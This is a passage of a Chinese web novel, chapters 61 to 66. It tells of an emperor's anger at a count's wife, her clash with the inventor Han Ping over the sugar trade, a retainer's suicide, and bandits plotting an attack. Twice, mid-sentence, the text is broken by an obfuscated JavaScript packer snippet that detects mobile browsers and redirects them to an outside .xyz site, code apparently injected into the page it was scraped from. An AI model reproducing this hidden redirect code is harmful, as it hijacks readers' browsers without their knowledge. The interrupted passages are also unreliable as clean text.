等得到了答复，韩先生不愿意见，妃苒姑娘秋水潋滟的眸子，弥漫淡淡雾气，长叹了一声：“不想韩先生如此大才，家里却养了个母老虎。” 第61章 皇帝怒了 第六十一章皇帝怒了 京城，伯爵府。 眼见过了四更，谢伯爵在丫鬟的伺候下，穿上了武将朝服，一边吃着点心，一边看着家里送来的书信。 嗯？ 只看了两眼，他便愣住了。 路斯道要参自己的夫人？ 他想了又想，有点莫不着头脑，信写得隐晦，很明显隐藏了不少东西。 只是说，夫人慢待了一位贤士，导致饥民怨气沸腾，路斯道为民伸张。 这也叫个事啊？ 虽然他一而再的强调，要礼贤下士，可被人说慢待贤士，那是常有的，比如，有贤士来投，给多少银子？ 给少了，就是慢待贤士，根本没办法有具体标准。 从来没听说过，慢待贤士能激起什么民愤，想来应该是这位贤士，联络了灾民，试图抬高身价。 再是大老粗，浸染朝堂那么多年，他也学会了揣度人心。 在书信的最后，夫人说得到了一高人，名叫玄龟上人，可以解渔阳城危局。 对此，他也并不相信。 礼贤下士，礼贤下士……一把年纪了，他就发现，真正称得上贤士的，太少了，往往都是自以为是之徒。 不过，也是辛苦夫人了，操持家业不易，还要想着边关的事，朝堂的事。 有这样的贤内助，实在是平生之幸啊。 想想夫人美貌端庄，只能独守空房，心内不由得歉意满满。 可内忧外患，国事艰困，短时间内他还真回不去，只能委屈夫人了。 带着满满的爱意，他写了回信，感谢了夫人，并叮嘱夫人注意身体，另外还说了些，只有两个人才知道的，甜言蜜语。 吃过饭，带着美好的心情，走向皇城。 为了显示勤政爱民，上朝的时间是不确定的，以天蒙蒙亮为准。 上朝是蒙蒙亮，大臣们基本是四更起床，往皇城里赶。 有住得远的，一更天就得起。 净鞭三下响，文武两班齐。 甩鞭子的可不是一人，而是十二个太监一起甩，有霹雳之声，让人警醒。 鞭子也有讲究，绿色为柄，红丝为鞭，鞭梢带黄茸，专门用蜡浸泡处理过，甩出来，声音追求一个脆生。 在肃穆威严的气氛下，景武帝李延熹登上龙座，群臣山呼万岁。 谢伯爵偷眼观瞧，发现皇帝脸色发黑，面带怒容，便垂下头来，眼观鼻，鼻观心，把袖子里的奏疏藏了起来。 外有柔然进犯，内有灾民四起，皇帝的心情也是起伏动荡，一个不开心，就打大臣。 上个月，御史大夫董明成只因说了一句，天灾人祸，陛下应该修德政，悯万民，被廷仗八十，当场打死。 现在大家都是格外小心，说错一句话，小命不保。 常规来说，皇帝上朝之后，内侍官喊了“有事起奏，无事退朝”之后，当是大臣们上奏疏，商议国家大事。 今天大为不同，内侍官刚喊完，景武帝便大叫了起来：“谢园卜何在？” 谢伯爵一个激灵，和我有关？ 直呼自己的名字，不妙啊。 可左右想想，自己没干啥啊，大儿子在边关，替陛下守城，那是不避生死，劳苦功高。 他急忙站出武官队列：“臣在！” 景武帝咬牙切齿，直接诘问：“娶妻当娶贤，这个道理汝可懂？” 谢伯爵更慌了。 一般来说，皇上和大臣说话，为了显得亲切，会用爱卿，卿家，谢卿家等，如果是老臣，甚至可能会称呼为某公。 至于得宠的近臣，往往是用字来称呼。 疏远的，则称呼官位，直接叫名字，那是极其不满了。 更离奇的，皇上问的问题，竟然和娶妻有关。 想到家有贤妻，谢伯爵稍稍放心：“陛下，臣略懂。” “不！你不懂！你如果懂，怎么会娶一个祸国害贤的妻子？” 收到路斯道的奏疏，景武帝本来没当回事，当看到最后那句：苍天已死，**当立；岁在甲子，天下大吉，他愣是起了一身的冷汗。 这种口号喊出来，可是**征兆啊。 追究根源，竟然是谢伯爵的夫人，苛待贤士，对人百般折辱。 这位贤士在灾荒年赈济灾民，获得灾民爱戴，这个节骨眼，圣朝最需要的就是这种人啊。 “啊？臣妻贤惠仁爱，陛下何出此言？” 说别的可以，怎么可以说我至亲至爱的夫人呢？ 谢伯爵不答应。 哗啦啦！ 砰！ 景武帝拿起一份奏疏，扔下御座，谢伯爵跪行过去，捡起来一看，脸色青红交加。 他接到家里的来信了，也知道了路斯道上奏疏的事情，可家书避重就轻，根本没提最后这十六个字的口号。 夫人慢待贤士，这是激起了不得了的民变啊。 “臣有眼无珠，臣有罪。” 谢伯爵匍匐在地，不敢辩解了。 景武帝怨气难消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535346|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“各位爱卿都看看，看看娶妻不贤，何等的可怕。” 文武大臣们按照次序传阅，都被吓得不轻。 他们太清楚了，一个响亮的口号，能够带动多大的暴-乱。 “陛下，当严惩谢伯爵夫人，安抚贤士，安抚灾民。” “这十六字，必须严防死守，不可传扬。” “老臣以为谢伯爵夫人罪无可赦，何不赐她一丈红？” “谢伯爵管教无方，不能正内院，请剥夺爵位。” …… 朝堂倾轧，谢伯爵的政敌还是很多的，纷纷跳了出来，各种攻讦，谢伯爵的自己人，则不敢开口。 这件事说大，那是捅破天了。 靠着这十六个字，会有多少**的，简直不敢想。 “陛下，古往今来，无数王朝皆是毁于妇人之手，不可不慎啊。” “牝鸡司晨，唯家之索，谢伯爵身为老臣，齐家无力，如何安邦定国？” “区区妇人对贤士百般折辱，吾不忍听也。” “臣有一本，参伯爵夫人米氏，干涉军政，祸乱边关。” 礼部侍郎陈心澡站了出来，拿出了一封奏疏。 谢伯爵都快晕了，慢待贤士，激起民变，出来了那十六字的口号，已经很可怕了，还祸乱边关。 不能吧？ 他都要哭了，往死里想，也不懂，自家夫人怎么那么能跳。 太监把奏疏拿上御座，景武帝破口大骂：“混账东西！她一个妇人，哪知兵机？竟然派一个玄龟上人前往渔阳城，说此人能够驾驭五雷。 谢朝乘为母所惑，竟然准许玄龟上人登坛做法。 荒唐！ 可笑！ 该死！” 这本奏疏也让大臣们传阅，顿时又是骂声一片，在朝堂的，多是学习圣人之道的饱学之士。 子不语怪力乱神。 这些都是不正经的东西，谁碰这，那就是不正经啊。 “谢园卜，你觉得能靠天雷，去雷击柔然大军吗？” 景武帝咆哮不已，犹如猛虎啸深山。 谢伯爵磕头不已：“绝无可能！” 哼！ 冷哼之后，景武帝传旨：“剥夺米氏一品诰命，闭门思过，无事不得外出，有事也不得外出。 守备将军谢朝乘，心性不坚，迷信方士，一月之内，不能击退柔然大军，军法处置。 谢园卜娶妻不贤，有眼无珠，暂停参赞军机，不必上朝，回家等着吧。” 第62章 夫人要见你 第六十二章夫人要见你 “夫人，这么下去不是办法啊。” “光是粥棚，每天的开销高达五十两，但凡粥稀了点，那些要饭的就在那闹。” “糖房街的生意，也是一天不如一天，高门大户的，也不卖咱们的糖了。” 大管家陈泓面带忧虑地汇报着。 他真不是装假，而是真的在意。 从他爷爷开始，就在伯爵府做活，他爹是管家，他做到了大管家，管理着伯爵府内外，大大小小的事情。 伯爵府花销巨大，能够维持下来，他居功至伟。 “为何？” “哪个中等人家能少得了糖？” 伯爵夫人疑惑起来。 她口中的中等人家，都是很有钱的人，好吃的东西就那么多，其中甜是仅次于咸的重要口味，谁不想吃口甜的？ 她自己就特别喜欢。 尤其这几天心情糟糕，更是每顿饭都要吃甜的，这样心情能够好点。 “夫人您不知道啊，听说工坊的白糖快要出来了。” “有人见过，说那白糖，粒粒分明，形似白玉，象征着君子人格，大家都等着吃白糖呢，所以红糖就没人买了。” “这个韩平也真是没个眼色，他难道不知道，糖房街大半都是伯爵府的生意吗？” 知道伯爵夫人不喜欢韩平，陈泓立刻抱怨了起来。 其他地方不说，在嘉陵，谁敢和伯爵府唱反调啊。 伯爵府从事糖业，其他人便自动靠边站，就算是小店，也多是和伯爵府沾亲带故的人。 不客气地说，嘉陵的糖业就是伯爵府家的。 其他人就是有再好的糖，也不敢在这地界卖。 若是放在往年，发生这样的事，当场打死，谁也不敢说个什么。 想到这个事，陈泓气得心口疼。 伯爵府的威名，居然被区区一个韩平给灭了。 他之前不过是个庄仆，连见自己的资格都没有。 “混账东西！” “因为他，我每天拿出去几十两喂要饭的，现在他还要挖我们家的根。” “亏得圣儿还把他当做客卿对待。” “你亲自过去一趟，把韩平带来，我倒要问问，他懂不懂基本的人情？” 出的多，进的少，伯爵夫人那叫一个肉疼。 现在的情况，韩平分明是里里外外的坑自己呢。 等到伯爵回来，发现府上银两紧缺，只会显得自己这个夫人不会管家。 “是，夫人。” “他就算有点才气，到底是个白丁，不打击下他的嚣张气焰，他还以为嘉陵城姓韩了。” 说了两句体己，陈泓架着马车，带着府上护卫，虎视眈眈地去了。 刚走了二里地，就受到了盘问。 抓大放小的道理，庄典和袁郛还是知道的。 现在发生个偷盗啊，**啊，就算是**放火，都是芝麻大小的事，根本不值一提。 知州府是问也不会问、 能杀你就杀去，能活到现在的，很多人手上都有人命，太正常了。 现在最重要的大局，是嘉陵城不能有大的乱子，有点小乱子反而是好事。 两个人打架，老张杀了老李，那嘉陵城的负担就小了。 少了吃粮的人。 说句不好听的，这样**的，都有功。 不鼓励就不错了，怎么可能管？ 嘉陵城要想不出乱子，韩平的工坊就是定海神针。 两万多人每天有工钱拿，他们自己可以在工坊吃，他们还有家人呢。 光是吃吃喝喝，嘉陵城的商业税都在猛增。 连带着其他商业，都跟着繁茂。 就说一个阎罗醉，大小商贾赚得合不拢嘴。 就是那些排队的灾民，他们仅仅排队，便可以养活一家老小。 这种事情，简直匪夷所思，可这就是事实。 看着实在是喜人。 庄典和袁郛就是怕有人来破坏，来抢夺，他们真的尽力了，想了各种办法，不让这个事传出去。 甚至派出衙役，一个一个嘱咐逃难的灾民，一定要管住嘴，自己吃饱就中了，别到处说去。 也请韩平降低的工钱，短工除了管饭，只有一文大钱，真不多。 问题是，快要饿死的人，只想活命，能活下来都行，很多人都不在乎工钱的，只要能吃饱。 这一点工坊做得还是到位的。 就算是短工，菜是没有的，只有一粒蒜瓣，可菜团子没少给，每顿饭十个，除了个别大肚汉，基本都能吃饱。 两人也曾提出建议，就是菜团子能不能减半，只提供五个，韩平没有同意。 工钱可以少些，不让人吃饱饭，怎么做活？ 工坊出品的，都是精品， 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蜜蜂飞进去，都得看看身上有几条纹路。 “我……我偏不签！” 陈泓上头了。 王杠头一扯嗓子：“救命啊，有人硬闯工坊！” 呼啦啦地，从四面八方出来了得有上百号人，人人手里都拿着兵刃。 他们靠近了，又不特别靠近，就那么看着，意思就是，不签名别想进。 咬着后槽牙，陈泓先吞下了这口窝囊气。 他怕闹大了，灾民又要嫌粥不稠，那不麻烦了。 进了工坊地界，想要见韩平，还要通报。 又等了足足半个时辰，这才见到。 “韩平，夫人有事找你，跟我过去一趟吧。” 见了韩平，陈泓不愿意行礼，也不愿意称呼为韩先生。 他是伯爵府的人，就是府衙的人见了，也得叫一声大管家，韩平算个什么东西？ 说破大天去，不过是个商人。 商人也能算人啊？ 就算按照士农工商来算，商人也是最**的一个，更不要说，伯爵府就不在士农工商之列，而是跳出三界外，不在五行中，响当当的伯爵。 **罔替，与国同休。 怎么比？ 第63章 心太黑了 第六十三章心太黑了 “没空！” 韩平冷冷淡淡的。 他以为陈泓过来，是伯爵夫人想道歉呢。 上次的事情，伯爵夫人实在错得离谱。 自己和谢翼圣商量好的生意，她横加干涉。 在这个时代，女人要从夫从子，丈夫在家听丈夫的，丈夫不在家，听儿子的，伯爵夫人已经违背大礼仪了。 官司就是打到皇城，也是自己占理。 “你……你说什么？” 陈泓懵了。 他没想到韩平竟然直杠杠地拒绝，连半点面子都不给。 韩平有点玩味地看着陈泓，文质彬彬道：“陈管家耳朵塞驴**了？我说没空。” 啊？ 不光是陈泓，就是伯爵府的护卫，也是倒吸凉气。 还是那句话，这个世界皇上最大，其次是皇亲国戚，再其次是有爵位的，然后才是士农工商，三教九流。 伯爵府属于第三个等阶的，在嘉陵城属于是横着走的。 这么不给面子的，真的不多。 “我说的是伯爵夫人，一品诰命的伯爵夫人找你。” 瞪着眼睛，陈泓以为韩平没听清，韩平则懒得多说：“送客！” 南宫狗剩等护卫直接赶人，一点不带犹豫的。 给韩平当护卫，平常根本一点事都没有，都想着表现呢。 伯爵府的人则犹犹豫豫的，谁都知道，韩平和三少爷关系好，真闹起来，得罪了韩平，又得罪了三少爷。 他们很快被推搡到了门外，门外则有衙役盯着，闹起来向着谁，一清二楚。 伯爵府是可怕，但工坊更重要，没有工坊，嘉陵得暴-乱，谁也别想活。 气昂昂地来，气呼呼地走。 回到伯爵府，伯爵夫人听了，银牙都要咬碎：“量他不过是一个逃荒的难民，是圣儿可怜他，让他当个仆人，不想如此猖狂。走！我亲自过去，看他有多大的胆子，敢抢我们的生意。” 几乎带走了所有护卫，伯爵夫人声势浩大。 到达工坊，当然，有咬着屎橛子，给麻花都不换的王杠头把守路口，难免又是一顿争执。 “我也要签字画押？” “是的。” “你知道我是谁吗？” “我不知道也不想知道，我只知道，你不是韩先生，韩先生是男的。” “好，我签字。” 肺都要气炸，伯爵夫人还真就只能服从，心里憋屈得。 她用手指头点了点咬着屎橛子，给麻花都不换的王杠头，撂了句狠话：“小子，你等着！” 咬着屎橛子，给麻花都不换的王杠头一片茫然：“等什么？” 噗！ 伯爵夫人差点气吐，这哪找来的啊？ 同样，要进工坊需要通报。 等了半个时辰，韩平出来了，当即下拜：“夫人光临，寒舍蓬荜生辉，韩某未曾远迎，还请夫人当面恕罪。” 韩平说话蛮好听，伯爵夫人气消了点，但一品又觉得不对，什么叫当面恕罪？ 有这么说话吗？ “不必多礼，快请起。” 可不敢让韩平跪拜，不然传出去，又要说她百般折辱贤士了。 她是怎么看，都不觉得韩平是个贤士，只不过能折腾点怪玩意罢了。 两人进入大堂，分宾主而坐。 看着周围的寒酸，伯爵夫人更有了居高临下的本能。 有些事情，她都不用说，只是用个眼神，陈泓便说道： “韩平，你可知道，嘉陵城的糖业，是伯爵府专营？不知者无罪，夫人也不怪你。只是想在嘉陵城卖糖，就不用想了。你的白糖，我们夫人可以全部收购，你出个价钱吧，伯爵府有的是银子，任你说多少，都没关系，你大着胆子，往高了说便是。” 一时间韩平有一种错觉，好像在看电视剧。 电视剧中总是有这种情节，一个贵妇人说道：“只要你离开我女儿，要多少钱都行。” 每次看到这种地方，韩平都忍不住想，快点要一万个亿啊，有了一万个亿，就是世界首富了，什么女人找不到啊？ 让他失望的是，电视剧情里，那个狗比主角总是什么都不要。 真是憨逼货！ 现在终于轮到自己了，这一把可不能手软！ 谢翼圣没多少钱，伯爵府的钱应该都在夫人手里呢。 伯爵府有几十万亩地，积攒了两百年啊，得有多少钱？ 几百万两？ 上千万两？ 盘算着伯爵府的财富极限，韩平给了个数字：“那就十万两银子一斤？” 哈？ 伯爵夫人嘴巴大张，能放下一颗不大的鸡蛋，粉耳都在轻颤。 大管家陈泓直接跳脚：“什么糖啊？十万两银子一斤？难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535348|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这价钱能卖的出去？还能赚钱？” 想着酒水卖一千文一斤，也挺离谱的。 陈泓想着，是不是这糖珍贵到没法说了，吃了就能长生不老什么的。 如果有这种效果，这个价格倒是不贵。 “肯定卖不出去啊！有钱的哪有傻子？” 价格可以高，但要在一定范围内。 时髦时髦，得让人赶得上才行。 所有人都吃不起的后果就是，所有人都不购买。 “那你要那么高的价格？” 陈泓的脸已经变形了，见过宰人的，没见过宰这么狠的。 韩平有点冤：“陈管家，不是你说伯爵府有的是银子，让我大着胆子说吗？” 噗！ 当了三十年的管家，从来没有遇到过这种人，陈泓一口老血差点喷出来。 让你大着胆子说，是觉得你之前是逃荒的，没见过钱，哪知道你胆子比天都大。 简直倒反天罡！ 这个韩平，他是看出来了，根本就不知道什么叫做上下尊卑，更加不会老实做人，真想送他去服徭役，累死他！ “咳咳咳……韩平，我问你，你原本打算多少价钱出售？” 伯爵夫人插话了。 她想要的，是保持一种局面，那就是，在嘉陵，想要买糖，只能买伯爵府谢家的，别无分号。 就算韩平弄出了白糖，也走不出别的路子去。 “禀告夫人，两千文一斤。” 既然阎罗醉都打出局面了，韩平才不会客气，那些自我标榜君子的文人士大夫，他们有一个算一个，都是有钱人啊。 只不过，他们之中的很多人，明明有钱，却喜欢装出清正廉洁的模样，甚至衣服都打着补丁。 可在吃喝上，他们是不会节省的。 白糖和他们的身份形象，非常相称，这正是奢侈品的特点，不赚白不赚。 两千文的价格，别说封疆大吏，就是九品县丞也吃得起，真不贵。 “那你能赚多少？” 伯爵夫人想着，在成本价的基础上，再加点，伯爵府包了所有的白糖，这样对大家都好。 韩平犹豫了一会，想着说出来也不怕，天底下独一份的生意：“不多不多，一斤也就赚一千七百来文。” 啊？ 整天数钱的大管家和伯爵夫人都愣了，眼珠子差点蹦出来，这利润也太高了吧？ 第64章 夫人，不行啊 第六十四章夫人，不行啊 伯爵府经营的生意不少，可哪一桩生意，也没法这么赚钱。 通常来说，一件东西成本价十文，能卖到十五文，便是极好的生意了。 能卖到十二文，也是可以做的。 韩平这生意好家伙的，直接在成本价的基础上，翻倍翻倍再翻倍。 伯爵夫人想说谁买啊。 可想到阎罗醉大卖，知道这白糖只怕也会大卖。 和其他任何地方都一样，嘉陵城也是，有钱的特别有钱，没钱的特别没钱，中间的很少，所以就造成一种局面，富人吃的东西和穷人吃的东西，截然不同。 白糖一旦火爆，红糖就会卖不出去。 想维持生意，只能大降价，卖给穷人，那利润就太少了。 “做人怎么能这样？你把钱都赚了，别人赚什么？” “既然你的利润那么多，我谢府便用一斤五十文的价钱包了，之后我们也不会卖太高价格，最多一斤卖一千文罢了。” “好了，照此办理吧。” 一向颐指气使惯了，伯爵夫人直接就做出安排，好像韩平没有任何反抗余地，好像世间万物，都应该听她的。 她错了！ “不中！” 直杠杠地，韩平给她怼回去了。 闹呢，老子两千文一斤的生意，你给老子五十文，还照此办理吧，真是给你脸了！ 就算你长得很美，可把你卖了也不值这个钱。 “你是不是忘了，我是伯爵夫人，一品诰命。” 美眸一瞪，伯爵夫人身上杀气四起，伯爵府的地盘下，谁敢忤逆她？ “没忘啊！” “如果你不是伯爵夫人，我根本不会见你。” “但你不能明抢啊。” “凭什么？” 以韩平的视角来看，这位伯爵夫人简直脑子有毛病。 我能大赚的生意，干嘛把利润让给你？ 伯爵夫人和大管家陈泓也是想不通的，对韩平的这个凭什么，甚至不知道怎么回答了。 凭什么？ 哪有什么凭什么？ 伯爵夫人想要，你就得给，从来都是如此的。 上下尊卑，天地人伦，四季流转，日去月来，就是这么运行的。 不必说，嘉陵城的糖业本来就是伯爵府的地盘，你韩平也来做糖的生意，简直不知死活。 换个其他人，早就打死喂狗了。 “我的话你不听是吧？” 伯爵夫人的声音阴恻恻的。 被灾民闹了一回，她做噩梦都梦到韩平了。 可随着时间过去，她越是害怕，就越是恼羞成怒。 尊贵的怎么能害怕**的？ 韩平之前是庄仆，连见她的资格都没有。 就算是现在，韩平也是自己儿子的客卿，那依然是伯爵府的下人。 主上说话，下人不听，那不是反了天了？ “不听。” 还是那么直接，韩平连半点委婉都没有。 伯爵夫人米若兰腾地站了起来，胸口起伏不定。 “好！” “狗贼，算你有种。” “既然你一定要卖糖，那伯爵府便和你没完。” “你一时得志猖狂，但不要忘了，在嘉陵，伯爵府最大，等有一天你落到我手里，本夫人让你求生不得求死不能！” “陈泓，我们走！” 都亲自上门了，韩平竟然敢不顺从，米若兰是真的没想到。 本来谢伯爵成年累月不在家，她独守空房，经常性地焦躁，暴怒，失落，现在更是一起爆发。 那是丝毫不愿意停留，坐上轿子便催着快行。 她想回家，洗个凉水澡，再用凝神安心的熏香熏一熏，不然今晚又别想睡得着。 来的狼狈走的慌忙，已经有点不顾体面。 幸好距离不远，一会儿便到了门口。 正要进去，突然从北边飞驰过来一匹高头大马，马上一人气喘吁吁，大叫不已： “京城急报，伯爵传讯，我要见夫人！” 因为来马太过峻急，吓到了马车前方的马，马车顿时颠簸起来，震得伯爵夫人玉体摇晃。 自己刚被韩平羞辱过，现在又被人冲撞，当真是怒不可遏。 等马车平稳，米若兰掀开车帘，怒斥道：“伯爵府重地，你肆意乱闯，成何体统？便是天大的事情，自有伯爵和我顶着，你慌什么？没规矩 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吐出胸口滞留的血沫子，传讯小兵拿出了谢伯爵特有信物，一枚蟠螭玉佩，朗声说道：“为保机密，不立文字。谢伯爵亲口传讯：米若兰，你到底在干什么？为何对贤士百般羞辱？以至于闹得群情汹汹。 陛下大怒，说你牝鸡司晨，是国之孽障。更有大臣恳请赏你一丈红。 吏部侍郎陈心澡当堂参你干涉军政，祸乱边关，那玄龟上人可是你派去的？ 为何要做这些事啊？你一妇人，懂个屁啊！ 陛下恼怒至极，若不是朝乘还在边关，我们谢家立刻就是满门抄斩，诛灭九族。 我走的时候不是说了吗？让三子谢翼圣主持家业，凡事都听他的，你掺和什么啊？ 现在好了，陛下下旨，剥夺你一品诰命身份，有事无事不得外出。 还令朝乘一个月内击退柔然大军，不然就要军法处置。 我已经被圈禁了。 阖家上下都要毁在你这**之手！ 从今日起，从此刻起，你给老子闭嘴！闭嘴！闭嘴！ 送信之人名燕非鹰，乃我手下第一亲信，江湖闻名，刚烈有计谋，由他辅佐圣儿，你给老子闭嘴！闭嘴！闭嘴！ 娘希匹！” 第65章 刚烈 第六十五章刚烈 端庄自持的伯爵夫人米若兰，听到这样的传讯，好比是一盆冷水浇下，从里到外都凉透了。 她没想到会那么严重，连皇上都大怒了。 牝鸡司晨，国之孽障…… 这种词可是用来形容祸国殃民的后宫妃子的，比如之前被腰斩的皇后。 还有干涉军政，祸乱边关…… 错了吗？ 我真的错了吗？ 疑惑升起，她本能的想要否定。 她是上位者，上位者是不会有错的，可马上，这种斗志瞬间被消灭得一干二净。 她已经不是一品诰命了，如果谢伯爵归来，只怕会立刻诛杀她。 在她身后的大管家陈泓也是脸色苍白，甚至有意识地远离了米若兰一点。 皇上给的定位，算是把这位夫人彻底否定了。 “我不管事了，我以后不管事了，让你们管，让你们管……” 为伯爵府劳心劳力，换来的是如此惨烈的后果，米若兰羞恼不已，眼睛都红了。 可以想象，等到圣旨到达，她必然成为天下笑柄。 所有的妇人，都会以她为反面榜样。 美好的生活，荡然无存了。 更可怕的，大儿子如果一个月内无法击退柔然大军，谢氏满门，只怕难以幸免。 有没有祸国殃民不好说，但整个家族的覆灭，是她一手导致的。 这么巨大的压力，她娇嫩的肩膀如何承担得起？ “谢伯爵让卑职带回银票十五万两，请夫人筹措马匹，兵器，粮草，支援渔阳城，谢家胜败，在此一举，必须全副身家压上。 以求大公子能够一个月内，击退柔然大军。” 燕非鹰从脏兮兮的衣服里，掏出厚厚一叠银票。 米若兰震惊了下，让管家接了过来，这时候，她才真正看了燕非鹰一眼。 这是十五万两银票啊，他如果带走，这辈子足以享尽荣华富贵了。 可他没有。 莫名地，她有点歉意。 “你是有功的。” “陈泓，赏他十两银子，让郎中给他治疗。” 到底是**之人，给点好处就行了，米若兰随手便打算，用银子抹平那么一点良心的皱褶。 “咳咳咳……” 被打得太狠了，燕非鹰内脏都受伤了。 当然，只要好好休养，会好起来的，只是，他有别的打算。 “不用了！” 淡然地拒绝，燕非鹰从腰间拔出一柄黑漆漆的短刀，陈泓急忙大叫：“来人啊，保护夫人。” 十几个护卫齐刷刷地站在米若兰身前，兵刃对着燕非鹰。 然而，燕非鹰接下来做的事情，完全出乎了他们的预料。 只见燕非鹰挥刀乱划，衣服全部破碎，露出黑黝黝的身体，上面堆满了层层叠叠的伤疤。 光是贯通伤就有三处，其中几处，皮肉外翻，触目惊心。 很难想象，在受了那么重的伤之后，他是如何活下来的。 “十二年前，伯爵为我洗脱冤狱，带我出囹圄，从那之后，我便下定决心，这条命，这一生，为谢氏，刀山火海去得，龙潭虎穴去得。” “这道伤是在箭峪岭，伯爵率我等，暴雨中夜袭柔然后方，斩杀柔然军将数百人，伯爵中箭，唤我等先走。” “是燕某人背着伯爵杀出重围，柔然千夫长拦截，**贯通燕某肩胛，不能拔出，断其枪而逃。” “侥幸不死，是为命大。” “这道伤是随大公子冲柔然重甲骑兵，肉开骨断，扔拼杀不绝，怀必死之志，昏睡十八日，又活了下来。” “这道伤是跟随伯爵，平舞阳之乱，盗匪忽来，护卫恐慌，营盘狼藉，燕某伺机杀盗匪首领，也被那贼子刺中左胸，幸而燕某心脏偏右，侥幸存活。” …… 燕非鹰不厌其烦，说着大大小小的战斗，说起每一次的流血，忽然泪落如雨：“燕氏逆子，不负于人。 今日受辱，有何面目立于天地之间？ 不想偌大的伯爵府，亡于妇人之手！” 噗！ 黑色短刀犹如闪电一般，划过脖子，血溅五尺。 扑通一声，燕非鹰栽倒在地，米若兰吓得尖叫不已，像一只炸毛的鸡。 大管家和护卫也傻了。 **他们见过，可这么抹脖子的，是第一次见到。 陈泓突然想起，伯爵的传讯里说了，燕非鹰刚烈有计谋。 有没有计谋没看到，刚烈是看到了。 随着血腥味弥漫，光辉灿烂的伯爵府，散发着衰微气象。 “抬走，把他抬走！” 米若兰像个疯子一样大喊，从小生长在富贵之家的自信正在破碎，她不愿意承认，却又无法欺骗自己。 她以为她行，可实际上， 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“来人，给明虎倒水！” 米若兰很贤达的样子，等秦明虎喝了水，她想到什么，眼睛亮晶晶问道：“是不是玄龟上人建功了？他是不是用天雷劈了柔然人？” 玄龟上人是她推荐的，只要立功，那她也跟着有功，说明皇帝，大臣，所有人都错了，只有她对了。 天下读书人那么多，都不及她这个夫人。 如此，谁还敢嘲笑她？ “夫人，大公子说，玄龟上人九成是个骗子。” “倒是韩先生的**，效果极好，柔然大军望烟披靡，连重甲骑兵也丝毫不能抵挡。” “大公子连杀柔然几十人，已经立了一功。” “还有那酒精，能够救治伤员，白糖，辣椒素，酒水等，将士们都极其喜爱。” “大公子说，韩先生有通天彻地之才，鬼神不测之术。” “渔阳城能否得救，全看韩先生了。” “让属下快马赶回，就是要留下韩先生，哪怕把整个伯爵府给出去，也在所不惜。” “三少爷更是交代，可以让四小姐嫁给韩先生，以笼络天下第一才子。” 第66章 袭杀计划 第六十六章袭杀计划 噗！ 心情激荡，米若兰一口血喷了出来，点染在华丽的地毯上。 她已经隐约意识到了自己的错误，现在更加确定了。 伯爵府继承人谢朝乘，成年累月在外作战，年纪轻轻已经是守备将军，见识高超，他都说韩平是天下第一才子，那准是错不了。 自己最看不起的。 恰恰是最厉害的。 不久前，自己还在威胁对方，说让对方求生不能，求死不得。 就为了区区一点糖业生意。 “我是猪吗？怎么会这么蠢的？” 米若兰撕扯自己的头发，状若疯癫。 在最心底，还有一股力量，不愿意承认韩平的厉害。 越是这样，她就越是痛苦，越是纠结。 “夫人？” 秦明虎看不懂了，这是弄啥？ “有了**，能击退柔然大军吗？” 暂且把痛苦的感觉压制，米若兰强打起精神。 秦明虎思忖了会：“应该还是不行，但守住渔阳城，是没问题的。” **固然很强，但需要依赖人的投掷。 柔然来攻城，那**的作用大了，但要去攻击柔然人，很难。 对方知道**厉害，自然会躲开，然后远远地射箭。 “我明白了，你先下去休息，我会请求韩先生，带着**，亲自前往渔阳城。” 眼前的难题是，皇上下令了，一个月内必须击退柔然大军，光是守住，谢家同样会覆灭。 她见过太多大家族覆灭，男的**，女的被卖到教坊司，两双玉臂千人枕，半点红唇万人尝，根本不是人过的日子。 秦明虎拜辞下去，米若兰把其他人也全都打发走，一个人静静思索，思索怎样才能让韩平亲自前往渔阳城。 自己能给他什么？ 钱？ 眼看着那么多生意做起来，他显然不会缺钱。 真把女儿嫁给他？ 还是…… …… “哎哟，累死老子了！” 回到六陈铺的后院，边继荣瘫在椅子上，半天不愿意起来，在工坊干活，不努力可是不行。 工正看到了，不是打就是骂。 更厉害的，还要采取什么“末尾淘汰制”，谁做得不好，就开除谁。 他需要一点一点地，把手下兄弟都塞进来，怎么能被开除？ 无奈，只好死命干活，才勉勉强强保住了短工的位置，心里对韩平的憎恨，那就别提了。 “二当家，到明天，就可以把最后一批兄弟送进工坊了。” “该怎么做，您给个安排！” 手下外号五套子，名叫刘桂堂的土匪请示着。 别看是土匪，却是最看重尊卑上下的，来了那么多人，都得听边继荣的。 不过这刘桂堂能当狗头军师，自有一番能耐。 他最擅长伪装，一会是要饭的，一会是达官贵人，如此便可肆意的坑人。 他坑人有五个套路，所以被叫五套子。 “让老蔡弄酒菜，今天咱们大吃大喝，吃饱喝足，我把胸中神秘妙算告诉大家。” “哼哼……到了明日，不但那韩平得死，还有工坊里那许多好东西，也都要带走。” “韩平府上，还有三个如花似玉的娘们，二爷我也都笑纳了。” 经过这段时间的干活，边继荣对工坊多少也有点了解，了解之后，是极度的震惊。 那阎罗醉，好家伙的，一千文一斤，想要买还要排队。 他想好了，把生产阎罗醉和其他东西的工具啊，物件啊，都带走，把懂行的人也带走，都带到山寨去。 山寨有了这些东西，就不愁没钱花了。 “遵命！” 刘桂堂急忙出去安排，通知别人。 蔡久思心里那叫一个窝火，从边继荣三百多人过来，基本都是在吃他的，喝他的，快把他给吸干了。 